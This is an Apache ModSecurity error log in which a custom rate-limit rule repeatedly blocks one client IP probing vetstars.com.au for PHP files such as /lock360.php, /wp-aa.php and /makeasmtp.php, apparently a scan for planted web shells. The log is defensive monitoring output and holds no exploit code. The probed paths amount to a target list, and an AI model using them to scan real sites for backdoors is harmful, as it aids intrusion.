[Wed Dec 17 04:06:57.599666 2025] [:error] [pid 30690:tid 30738] [client 135.235.159.29:53426] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUG74ffvRFjugNhkzAyeyQAAAE8"]
[Wed Dec 17 04:06:59.581281 2025] [:error] [pid 30691:tid 30766] [client 135.235.159.29:7058] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aUG74zRNSskdld15l1edcwAAAI8"]
[Wed Dec 17 04:07:00.507096 2025] [:error] [pid 30690:tid 30737] [client 135.235.159.29:45362] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aUG75PfvRFjugNhkzAye0QAAAE4"]
[Wed Dec 17 04:07:02.592486 2025] [:error] [pid 30691:tid 30763] [client 135.235.159.29:57189] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aUG75jRNSskdld15l1edfAAAAI0"]
[Wed Dec 17 04:07:03.941758 2025] [:error] [pid 30691:tid 30760] [client 135.235.159.29:49349] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aUG75zRNSskdld15l1edfwAAAIo"]
[Wed Dec 17 04:07:05.599710 2025] [:error] [pid 30689:tid 30694] [client 135.235.159.29:50120] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUG76bMlOW4IiMebAfJ-0gAAAAA"]
[Wed Dec 17 04:07:08.339163 2025] [:error] [pid 30690:tid 30724] [client 135.235.159.29:42069] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUG77PfvRFjugNhkzAyfAQAAAEE"]
[Wed Dec 17 04:07:11.586933 2025] [:error] [pid 30784:tid 30806] [client 135.235.159.29:48991] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUG77wVENh3j2WfqiT3aVwAAANQ"]
[Wed Dec 17 04:07:13.709919 2025] [:error] [pid 30690:tid 30737] [client 135.235.159.29:50973] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUG78ffvRFjugNhkzAyfDwAAAE4"]
[Wed Dec 17 04:07:15.264296 2025] [:error] [pid 30690:tid 30734] [client 135.235.159.29:50958] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUG78_fvRFjugNhkzAyfEQAAAEs"]
[Wed Dec 17 04:07:17.719040 2025] [:error] [pid 30784:tid 30791] [client 135.235.159.29:50547] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUG79QVENh3j2WfqiT3abQAAAMU"]
[Wed Dec 17 04:07:19.001339 2025] [:error] [pid 30691:tid 30766] [client 135.235.159.29:44030] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUG79jRNSskdld15l1edlgAAAI8"]
[Wed Dec 17 04:07:21.183418 2025] [:error] [pid 30784:tid 30804] [client 135.235.159.29:6270] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUG7-QVENh3j2WfqiT3acQAAANI"]
[Wed Dec 17 04:07:22.114744 2025] [:error] [pid 30784:tid 30809] [client 135.235.159.29:45865] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUG7-gVENh3j2WfqiT3adQAAANc"]
[Wed Dec 17 04:07:23.464601 2025] [:error] [pid 30690:tid 30742] [client 135.235.159.29:43516] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUG7-_fvRFjugNhkzAyfHgAAAFM"]
[Wed Dec 17 04:07:24.262078 2025] [:error] [pid 30689:tid 30706] [client 135.235.159.29:6222] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUG7_LMlOW4IiMebAfJ-9gAAAAw"]
[Wed Dec 17 04:07:25.737035 2025] [:error] [pid 30689:tid 30709] [client 135.235.159.29:43488] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUG7_bMlOW4IiMebAfJ-_AAAAA8"]
[Wed Dec 17 04:07:26.605896 2025] [:error] [pid 30689:tid 30712] [client 135.235.159.29:43515] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUG7_rMlOW4IiMebAfJ-_gAAABI"]
[Wed Dec 17 04:07:27.889500 2025] [:error] [pid 30784:tid 30806] [client 135.235.159.29:43478] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUG7_wVENh3j2WfqiT3ahwAAANQ"]
[Wed Dec 17 04:07:28.870466 2025] [:error] [pid 30691:tid 30756] [client 135.235.159.29:43402] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUG8ADRNSskdld15l1edowAAAIY"]
[Wed Dec 17 04:07:30.866776 2025] [:error] [pid 30690:tid 30732] [client 135.235.159.29:47550] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUG8AvfvRFjugNhkzAyfJwAAAEk"]
[Wed Dec 17 04:07:32.052814 2025] [:error] [pid 30689:tid 30715] [client 135.235.159.29:56952] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aUG8BLMlOW4IiMebAfJ_AwAAABU"]
[Wed Dec 17 04:07:33.021709 2025] [:error] [pid 30691:tid 30772] [client 135.235.159.29:6956] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aUG8BTRNSskdld15l1edrgAAAJU"]
[Wed Dec 17 04:07:34.267323 2025] [:error] [pid 30690:tid 30737] [client 135.235.159.29:46113] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aUG8BvfvRFjugNhkzAyfLgAAAE4"]
[Wed Dec 17 04:07:35.762107 2025] [:error] [pid 30691:tid 30759] [client 135.235.159.29:47494] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aUG8BzRNSskdld15l1edtQAAAIk"]
[Wed Dec 17 04:07:36.944338 2025] [:error] [pid 30784:tid 30810] [client 135.235.159.29:47258] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUG8CAVENh3j2WfqiT3amQAAANg"]
[Wed Dec 17 04:08:38.028069 2025] [:error] [pid 61378:tid 61384] [client 135.235.159.29:40993] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aUG8Rh5G6F9PXKmYDCSF1wAAAAE"]
[Wed Dec 17 04:08:38.727701 2025] [:error] [pid 61378:tid 61405] [client 135.235.159.29:41425] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aUG8Rh5G6F9PXKmYDCSF2QAAABY"]
[Wed Dec 17 04:08:39.136955 2025] [:error] [pid 61380:tid 61455] [client 135.235.159.29:46770] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aUG8R1DXNylu9SqhT6oL4QAAAJE"]
[Wed Dec 17 04:08:39.547618 2025] [:error] [pid 61379:tid 61426] [client 135.235.159.29:6689] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aUG8R1X4E86rnrNa_8NrEAAAAE8"]
[Wed Dec 17 04:08:40.997077 2025] [:error] [pid 61472:tid 61497] [client 135.235.159.29:46736] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aUG8SBAY-vW9raLQk19TqAAAANc"]
[Wed Dec 17 04:08:43.183494 2025] [:error] [pid 61472:tid 61475] [client 135.235.159.29:6664] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aUG8SxAY-vW9raLQk19TsAAAAME"]
[Wed Dec 17 04:08:44.229991 2025] [:error] [pid 61378:tid 61389] [client 135.235.159.29:6678] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aUG8TB5G6F9PXKmYDCSF3QAAAAY"]
[Wed Dec 17 04:08:45.248740 2025] [:error] [pid 61378:tid 61394] [client 135.235.159.29:46738] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aUG8TR5G6F9PXKmYDCSF4QAAAAs"]
[Wed Dec 17 04:08:45.769655 2025] [:error] [pid 61378:tid 61396] [client 135.235.159.29:55120] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aUG8TR5G6F9PXKmYDCSF4wAAAA0"]
[Wed Dec 17 04:08:46.112263 2025] [:error] [pid 61378:tid 61392] [client 135.235.159.29:55134] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aUG8Th5G6F9PXKmYDCSF5AAAAAk"]
[Wed Dec 17 04:08:46.825894 2025] [:error] [pid 61380:tid 61448] [client 135.235.159.29:55070] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aUG8TlDXNylu9SqhT6oL8wAAAIo"]
[Wed Dec 17 04:08:48.109148 2025] [:error] [pid 61379:tid 61419] [client 135.235.159.29:43944] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aUG8UFX4E86rnrNa_8NrIgAAAEg"]
[Wed Dec 17 04:08:49.127886 2025] [:error] [pid 61472:tid 61490] [client 135.235.159.29:6686] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aUG8URAY-vW9raLQk19TywAAANA"]
[Wed Dec 17 04:08:51.265350 2025] [:error] [pid 61380:tid 61440] [client 135.235.159.29:43911] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aUG8U1DXNylu9SqhT6oL-gAAAII"]
[Wed Dec 17 04:08:52.221260 2025] [:error] [pid 61472:tid 61488] [client 135.235.159.29:6714] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aUG8VBAY-vW9raLQk19T1gAAAM4"]
[Wed Dec 17 04:08:53.737090 2025] [:error] [pid 61379:tid 61419] [client 135.235.159.29:55089] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aUG8VVX4E86rnrNa_8NrKQAAAEg"]
[Wed Dec 17 04:08:54.864098 2025] [:error] [pid 61379:tid 61416] [client 135.235.159.29:57943] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aUG8VlX4E86rnrNa_8NrLAAAAEU"]
[Wed Dec 17 04:08:55.468769 2025] [:error] [pid 61380:tid 61458] [client 135.235.159.29:43957] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aUG8V1DXNylu9SqhT6oMAwAAAJQ"]
[Wed Dec 17 04:08:56.258015 2025] [:error] [pid 61380:tid 61455] [client 135.235.159.29:6711] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aUG8WFDXNylu9SqhT6oMBgAAAJE"]
[Wed Dec 17 04:08:56.835446 2025] [:error] [pid 61472:tid 61490] [client 135.235.159.29:6323] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aUG8WBAY-vW9raLQk19T6AAAANA"]
[Wed Dec 17 04:08:57.755436 2025] [:error] [pid 61472:tid 61476] [client 135.235.159.29:65248] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUG8WRAY-vW9raLQk19T6gAAAMI"]
[Wed Dec 17 04:08:58.319350 2025] [:error] [pid 61472:tid 61483] [client 135.235.159.29:55118] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUG8WhAY-vW9raLQk19T7AAAAMk"]
[Wed Dec 17 04:08:58.975755 2025] [:error] [pid 61472:tid 61480] [client 135.235.159.29:6684] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUG8WhAY-vW9raLQk19T7gAAAMY"]
[Wed Dec 17 04:08:59.746015 2025] [:error] [pid 61472:tid 61485] [client 135.235.159.29:55102] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aUG8WxAY-vW9raLQk19T8gAAAMs"]
[Wed Dec 17 04:09:00.139428 2025] [:error] [pid 61379:tid 61431] [client 135.235.159.29:57977] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUG8XFX4E86rnrNa_8NrNwAAAFQ"]
[Wed Dec 17 04:09:00.754759 2025] [:error] [pid 61378:tid 61389] [client 135.235.159.29:46722] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUG8XB5G6F9PXKmYDCSF_QAAAAY"]
[Wed Dec 17 04:09:02.994954 2025] [:error] [pid 61378:tid 61399] [client 135.235.159.29:43061] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUG8Xh5G6F9PXKmYDCSGDgAAABA"]
[Wed Dec 17 04:09:05.426712 2025] [:error] [pid 61472:tid 61496] [client 135.235.159.29:43015] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUG8YRAY-vW9raLQk19T_AAAANY"]
[Wed Dec 17 04:09:06.093095 2025] [:error] [pid 61379:tid 61431] [client 135.235.159.29:56542] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aUG8YlX4E86rnrNa_8NrQQAAAFQ"]
[Wed Dec 17 04:09:06.831453 2025] [:error] [pid 61378:tid 61389] [client 135.235.159.29:55158] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aUG8Yh5G6F9PXKmYDCSGNAAAAAY"]
[Wed Dec 17 04:09:07.711410 2025] [:error] [pid 61380:tid 61453] [client 135.235.159.29:43966] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aUG8Y1DXNylu9SqhT6oMKAAAAI8"]
